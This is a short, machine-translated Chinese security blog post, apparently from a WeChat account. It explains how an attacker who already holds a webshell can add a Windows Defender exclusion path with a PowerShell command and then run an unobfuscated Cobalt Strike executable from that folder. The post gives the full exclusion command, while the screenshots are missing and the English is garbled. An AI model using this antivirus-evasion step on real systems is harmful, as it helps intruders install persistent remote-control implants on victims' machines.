Can't write to avoid killing and can easily go online CS through defender

Technical communication

  Pay attention to WeChat public number  Z20 Security team  , reply   Add group  , Pull you into the group Discuss technology together .

The official account is copied. , The layout may be a bit messy , You can go to the official account .

Happened to see through powershell operation defender To add exclusions

https://docs.microsoft.com/en-us/powershell/module/defender/?view=windowsserver2019-ps

So there is this scene ：

Suppose we get the target machine webshell, The other side is on Windows defender, If you can't write "no kill" , go online CS：

Add exclusions ：

powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\justtest"

CS Generate an ordinary exe Horse ：

Upload to justtest Catalog ：

function ：

go online ：

Technical communication

Communication group

Pay attention to the reply of the official account “ Add group ”, add to Z2OBot Small K Automatically pull you to join Z2O Security attack and defense communication group Share more good things .